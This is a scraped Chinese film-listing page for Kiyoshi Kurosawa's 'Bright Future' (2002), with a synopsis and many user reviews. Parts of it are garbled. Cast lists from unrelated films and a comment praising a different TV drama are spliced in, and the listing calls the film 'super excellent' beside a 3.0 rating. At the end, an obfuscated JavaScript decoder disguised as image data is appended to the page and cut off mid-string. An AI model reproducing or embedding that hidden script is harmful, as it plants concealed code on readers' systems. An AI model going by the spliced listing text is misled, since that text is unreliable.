光明的未来_镜花水母 / 灿烂未来 / 光明未来 / 回光 / Bright Future / Jellyfish / Akarui Mirai
别名
:镜花水母 / 灿烂未来 / 光明未来 / 回光 / Bright Future / Jellyfish / Akarui Mirai简介:
光明的未来是一部超级优秀的
剧情 剧情片 ,上线于
2002 年, 仁村雄二(小田切让饰)和有田守(浅野忠信饰)是好朋友,同在一家工厂打工。守养了一只红色的水母作宠...
详情朱丽安·摩尔,连姆·尼森,阿曼达·塞弗里德,麦克斯·泰瑞奥,罗伯特·H·托马斯,妮娜·杜波夫,Mishu,Vellani,朱莉·卡纳,劳拉·德卡特莱特,娜塔莉·林斯卡,Tiffany,Lyndall-Knight,梅根·赫弗恩,Krysta,Carter,大卫·瑞勒,亚当·克里斯蒂
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宁杨兰玉,凯蒂阮,黎卿,友洲,岭清,黎春进,屋青芸
上村祐翔,浅沼晋太郎,市川苍,铃木崚汰,矢野奖吾,石川界人,小野贤章
艾伦·多丽特·彼得森,考斯米娜·斯特拉坦,Peter,Christoffersen
安·唐德,德瑞玛·沃克,帕特·希利,Bill,Camp,Philip,Ettinger,James,McCaffrey,马特·索维托
伊丽莎白·奥尔森,奥斯卡·伊萨克,汤姆·费尔顿,杰西卡·兰格,雪莉·亨德森,马特·卢卡斯,麦肯锡·克鲁克,约翰·卡瓦纳
Eliza,Sodró,索菲娅·绍莫希,Ernõ,Fekete,列文特·莫尔纳,Ádám,Porogi,Ferenc,Köles,Anna,Györgyi,Miklós,Béres
约翰·特拉沃尔塔,戴文·萨瓦,雅各布·格罗德尼克,詹姆斯·帕克斯顿,乔什·里奇曼,杰西卡·乌波拉佳,杰夫·蔡斯,小路易斯·达·席尔瓦,多米尼克·塞尔瓦托,安娜·戈尔佳,Marta,González,Rodin,Martin,Peña,Kenneth,Farmer,Elle,Matarazzo,Alex,Ellis,Theresa,Ireland,丹尼·门德斯
豆瓣评分
3.0。类型为剧情,剧情片的。该片在
日本 地区拍摄完成,独有的
日语 语言版本。
光明的未来是一部超级优秀的
剧情 剧情片 ,该剧情片的关键看点是:
光明的未来镜花水母 / 灿烂未来 / 光明未来 / 回光 / Bright Future / Jellyfish / Akarui Mirai;
仁村雄二(小田切让饰)和有田守(浅野忠信饰)是好朋友,同在一家工厂打工。守养了一只红色的水母作宠物,这只闪闪发亮却是有着剧毒的生物忍不住给五星,太好看了!原著那么优秀,底子太好,只要大方向不改不会差到哪里去!赵薇演的太好了,小菲傻的可爱。里面好多人物都非常有趣,看完再来写长评!我不常看这类型的电视剧,沉溺于古偶,没发现有这么好看的剧种!
一天,他们的老板来到公寓,伸手去逗水母,守有意阻止了雄二的警告。被水母弄伤的老板恼羞成怒把守解雇了,结果是守先雄二一步去发泄怒火。守被捕入狱,他委托雄二照顾水母。
守的父亲真一郎(藤龙也饰)也来探监,他试图重建与儿子的关系,尽管他们有五年没见。但守的猝死令朋友和父亲都陷入悲伤中,互相寻找安慰的两个男人相依为命。一次水母意外逃走,他开始每日将饲料撒入河中,以确保水母能够活下来。后来,电视里播出河道内水母大量繁殖成灾的新闻……
其中
黑泽清小田切让,浅野忠信,藤龙也,笹野高史,加濑亮,森下能幸还参演了
(弟弟)(谈判专家)(入殓师)(深夜食堂2)(去见小洋葱的母亲)等让人无法忘怀精彩的影视作品!
评论
光明的未来|剧情热评
蜂鸟用户: shininglove
梦见未来 水母 神经质的 忘年交 音乐不错 蜂鸟用户: 希尼莫
水母的美麗與劇毒。http://sensesofcinema.com/2004/53rd-melbourne-international-film-festival/bright_future/ 蜂鸟用户: 冰红深蓝
有人不想被这世界围困,像水母放逐大海;有人在陌生关系里如父如子,像水母繁衍新的纽带,无论选择怎样活着,都寄望有光明的未来。 蜂鸟用户: 徐若风
+,摄影机与监视器(dv)对城市空间的凝视一开始就否定了逃离的可能:被扰乱的空间会随着摄影机的视角移位而被拨乱反正,形成新的平衡,人物永远没有解框与逃逸的机会,他们只能哀悼:为那强行被抛入社会的身体与预料之外的失去。但水母的形象是充盈而丰富的,它们足够美丽与强大,可以用柔软而透明的身躯穿行与隐匿于城市的夜空中。它们具有梦的材质,承载着无意识挣扎的灵魂。 蜂鸟用户: 墓岛GRAVELAND
前期的清清浪~现在的清清骚~中期的清清又骚又浪~~~小田切让这个二逼演员减一星~~~结尾有点发条橙那味,全片也就是这意思:要警惕一个灿烂的个体是会分泌毒液的,社会把个体整成这个逼样,他们不属于城市浑浊的淡水,他们要游向养分充足的汪洋~小田切让和浅野忠信玩了个精分~清清另类的视觉设计让本片骚气玲珑~~~故事属于那种把烂大街的电影桥段打碎重组~就跟相声里的“拆洗”差不离~愣是搞出了结构层面的可看性~~~加上符号和清清一如既往的“超认真的耍无聊”剧情~本片可谓电影史的独一份~~~吹的还可以吧~~~~~~ 蜂鸟用户: GIVIND
浅野忠信演技高于小田切让 但是我还是更爱小田切 蜂鸟用户: 垣原阵
不平整的影像,黑白+DV,颗粒与噪点的画面。在黒泽清的影像之下,人物被嵌入城市空间这一静默运作的机械主义。 父子关系在创伤性的错认中重建,车内空间被裁剪,左右二分。在黒泽清的世界中,一个关系的重建往往是病态重复而非救赎,但它是自我牺牲的,建构于“父亲”/“朋友”的失去之时。 自由伸展,扩张,而又具有毒性的水母在《光明的未来》象征性地代表着某种宰制性的强度,当它逃出之时,这一刻是激进的,犹如影片中的另外一个游击性质的片段:身着白色切·格瓦拉T恤的青年冲进会社,抢夺钱财。水母也将在一个形如商业片的运动的,广角俯瞰之中充满河道。黒泽清是日本青年运动的孩子,从街道走向微观抵抗——末日启示性的宏大事件来自于强度(知觉)从拘禁走向自治,被身体限制的混乱之中心辐射四周,作为主体重新与社群连接的一种方式。 蜂鸟用户: 如
真不如叫“未来会光明”。黑泽清太琐碎了,很多地方就只是没来由的烦闷,镜头逻辑也无非是通过不自然的镜头时间搭配以构图确定场景和人物线索的方式在调配。但这种方式至始至终都得让观众至少了解到一定的持之以恒的元素与规范才能显出层次以及特色,但我只不过看见了混乱与无章法。连调动人情感的压迫都显得无力。 蜂鸟用户: HurryShit
片中的红色水母作为“隐喻”的话,含义的确有点明显。画质惨不忍睹的DV美学,竟和电影本身气质很相符,冲在最前的人,精神的一部分得以永久留存。当现代人之间的冷漠、资本主义将人机器化后积累的愤怒不断叠加之后,年轻人胸中的怒火会蔓延到每一寸水源,就算暂时没有方向,是无法被阻挡的 蜂鸟用户: yoko
2016.3.7一刷。2017.4.1二刷。炸裂的无力,黑泽清二十一世纪以来的巅峰,注定是亚洲电影史上浓墨重彩的一笔。 蜂鸟用户: 小儿勾
太冗长太暧昧;或者说想表达的情感与困惑总是没找对点,氛围成了一块遮羞布,于是没hold住时不时美妙的形式。的确,有事没事总会想想未来,有时候是需要,有时候是喜欢,有时候是安慰;但从没觉得未来是光明的,也没那个必要嘛。 蜂鸟用户: 内陆飞鱼
镜花水母,极美极毒,游离未来。浅野若无其事的杀掉上司一家,落狱后心心念念的却是托付给朋友的水母,这种对人的隔膜和对物的执着、两者之间的模糊界限在日本作品中频有体现:樱冢护,《在一起卻很寂寞》。过命的友情,父亲与儿子的和解。隔断的驾驶室。上吊前自我捆绑凝固的手势,那意味着,向前进。 蜂鸟用户: 米粒
独特的表演张力,低对比度的影像风格,低像素摄影机的使用,吊诡突然的剪辑手法,如河流一般流畅的叙事。借“水母”道人事,梦中呓语,关于未来。要么在监狱中死去,要么在梦中苟且活着。黑泽清SAMA最高。 蜂鸟用户: godannar
黑泽清在新世纪前后的几部片子都拍得好,畸零,迷茫,扭曲,病态,冷暴力,神经质……基本上是一本本后现代病理学,水母意象满分,皮卡车驾驶室屡次分画面有意思,小田切让、浅野忠信就是两只透明、飘忽、孤独且有毒的水母,未来没有大海,自身无法治愈,松山研一酱油打得好,不注意的话,就看不出来。 蜂鸟用户: 荒也
这种电影还是要坚持看到最后 画面像森山大道的黑白摄影 让桑也有毛头小伙儿的时候 帅的一逼 电影到底想要告诉我们什么呢 大概是活下去的方式http://goo.gl/ncTym 蜂鸟用户: 巅峰Futurama迷
结尾穿着切格瓦拉头像T-Shirt的少年们走在路上,就像水母结群从河川游向大海。而这是不是就是守临终前的前进手势,いけ的意义。回归盐度高的海水是水母的本能。雄二对此并不像守父亲那么悲观,就像等守时一样,十年,二十年后相信它们还会回来。如此循环。生生不息。而这不是就是光明的未来。 蜂鸟用户: brennteiskalt
黑泽清在新世纪前后的几部片子都拍得好,畸零,迷茫,扭曲,病态,冷暴力,神经质……基本上是一本本后现代病理学,水母意象满分,皮卡车驾驶室屡次分画面有意思,小田切让、浅野忠信就是两只透明、飘忽、孤独且有毒的水母,未来没有大海,自身无法治愈,松山研一酱油打得好,不注意的话,就看不出来。 蜂鸟用户: 粉粿症候群
黑泽清对于孤独而无方向感的年轻人有着深刻的体恤,《光明的未来》里那些纤弱而致命的水母就是这些人的象征。男主角的同事同时照顾着水母和男主,并用牺牲自己的精神指引着男主从咸水环境里适应了淡水。孤独的现代生活就是这淡水。最终孤独的水母大量传播开来,以依赖为基础的代替式父子关系亦转换为两颗孤独心脏间的彼此隔阂。黑泽清很喜欢明白地解释他的动机,但他的优点在于他动机的模糊性和画面的摄人感。两者之间存在基本上的分歧,而这部电影体现出了这种创作中的矛盾。 蜂鸟用户: 不良生
“我们都有光明的未来。”我在想,黑泽清手里是否攥着一本新华字典。水母并不是钥匙,因为本片的内在逻辑完全建立在摄影手段的多变上:传统日式构图、强对比、监视器、粗颗粒感、黑框、手提以及家庭用DV……黑泽清通过对摄影编曲构建了一种新的语言。它可能过于抽象,但却暗合了迷茫之人的无言状。 蜂鸟用户: 水仙操
依旧是黑泽清拿手的末日氛围营造,摄影机中的东京恍若阴郁无名的荒城,一切都褪去了色彩。情绪起伏时刻插入低像素DV画面,粗粝无比。主要角色都是迷茫、失意的小人物,控制不住情绪,不擅长沟通,甚至连杀人与自杀也可以缺乏理由。所有车中镜头都将汽车前排进行分屏处理(黑色隔挡),凸显人与人之间的疏离与隔阂。会发光的红色水母的象征挺有意思,经过逐步降低盐度的适应性训练,溜掉的一只水母竟然最终导致了全东京河道中的泛滥成灾,并集体向海洋游去。“红灯停,绿灯行”的手势暗号。反讽意味显著的片名。(7.0/10)!function(){function a(a){var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 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